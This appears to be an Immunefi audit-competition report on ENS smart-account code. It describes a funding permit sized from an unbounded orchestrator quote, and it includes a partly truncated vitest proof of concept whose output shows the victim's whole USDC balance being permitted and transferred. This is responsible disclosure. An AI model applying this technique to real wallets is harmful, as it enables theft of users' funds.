Immunefi Audit Competitions
ENS | Audit Competition

91648 w a high hca funding permit is sized from an unbounded orchestrator quote with no ceiling or cross check

Submitted on Sep 3rd 2026 at 09:52:41 UTC by @kujen for Audit Competition | ENS

Description

Brief/Intro

The EIP-2612 permit the wallet signs is sized entirely from the orchestrator's quoted intent cost, with no ceiling, no cross-check against the on-chain price, and no reconciliation with the budget shown at checkout.

Vulnerability Details

smart-account/budget.ts:247-347 and transaction-manager/registration.hca.actors.ts:434-490 size the permit value = budget - hcaBalance from intentCost.tokensSpent[chainId][usdc]. There is no cap and no ratio check against readRegisterPrice; the code explicitly refuses its own local fallback model (budget.ts:322), so the remote number is the only input. The sole clamp is a preflight walletBalance >= value, satisfied by permitting the whole balance. On the setPrimaryNameWithHca path the intent is owner-signed and applies no action policy (setPrimaryName.ts:181-188), so the on-chain refund ceiling does not bound it.

Impact Details

Whoever controls the orchestrator response (Rhinestone, an on-path attacker, or a malicious extension) sets value to the victim's entire USDC balance, which is pulled into the HCA and settled out as the declared intent fee. The PoC shows an honest 0.91 USDC fee replaced by a 250,000 USDC permit equal to the victim's balance.

References

  • packages/smart-account/src/providers/rhinestone/budget.ts:247-347
  • packages/transaction-manager/src/machines/registration/registration.hca.actors.ts:434-490,558-737
  • apps/manager/src/features/register-v2/data/queries/hcaBudget.query.ts:101-159

Proof of Concept

Proof of Concept

Runnable vitest at the audited commit 1c9b47f. Run from packages/transaction-manager: pnpm exec vitest run src/helpers/poc_crit_unbounded_funding_permit.test.ts --reporter=verbose

it(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)',
  'function transferFrom(address from, address to, uint256 amount) returns (bool)',
])
const registrar = parseAbi([
  'function getRegisterPrice(string label, uint64 duration, address paymentToken) view returns (uint256 base, uint256 premium)',
])

const sel = {
  balanceOf: toFunctionSelector('function balanceOf(address)'),
  nonces: toFunctionSelector('function nonces(address)'),
  name: toFunctionSelector('function name()'),
  version: toFunctionSelector('function version()'),
  price: toFunctionSelector(
    'function getRegisterPrice(string,uint64,address)',
  ),
}

const word = (v: bigint) => encodeAbiParameters([{ type: 'uint256' }], [v])
const str = (s: string) => encodeAbiParameters([{ type: 'string' }], [s])

/** Minimal chain stub: only the reads these code paths actually make. */
const makeTransport = (hcaBalance: bigint) =>
  custom({
    request: async ({ method, params }: { method: string; params?: any }) => {
      if (method === 'eth_chainId') return `0x${CHAIN_ID.toString(16)}`
      if (method === 'eth_getCode') return '0x'
      if (method !== 'eth_call') throw new Error(`unstubbed ${method}`)
      const { data, to } = params[0] as { data: Hex; to: Address }
      const s = data.slice(0, 10)
      if (s === sel.price) {
        // 8.00 USDC/yr name - the number the user sees at checkout.
        return encodeAbiParameters(
          [{ type: 'uint256' }, { type: 'uint256' }],
          [parseUnits('8', 6), 0n],
        )
      }
      if (s === sel.balanceOf) {
        const who = `0x${data.slice(34, 74)}`.toLowerCase()
        if (who === HCA.toLowerCase()) return word(hcaBalance)
        return word(VICTIM_USDC)
      }
      if (s === sel.nonces) return word(0n)

Output:

[PoC] honest fee for this intent : 910000 (0.91 USDC)
[PoC] orchestrator-quoted fee    : 250000000000
[PoC] permit value               : 250000000000
[PoC] victim USDC balance        : 250000000000
[PoC] transferFrom -> to : 0x...AA amount 250000000000   source: quote (the trusted branch)
 Test Files 1 passed (1) | Tests 2 passed (2)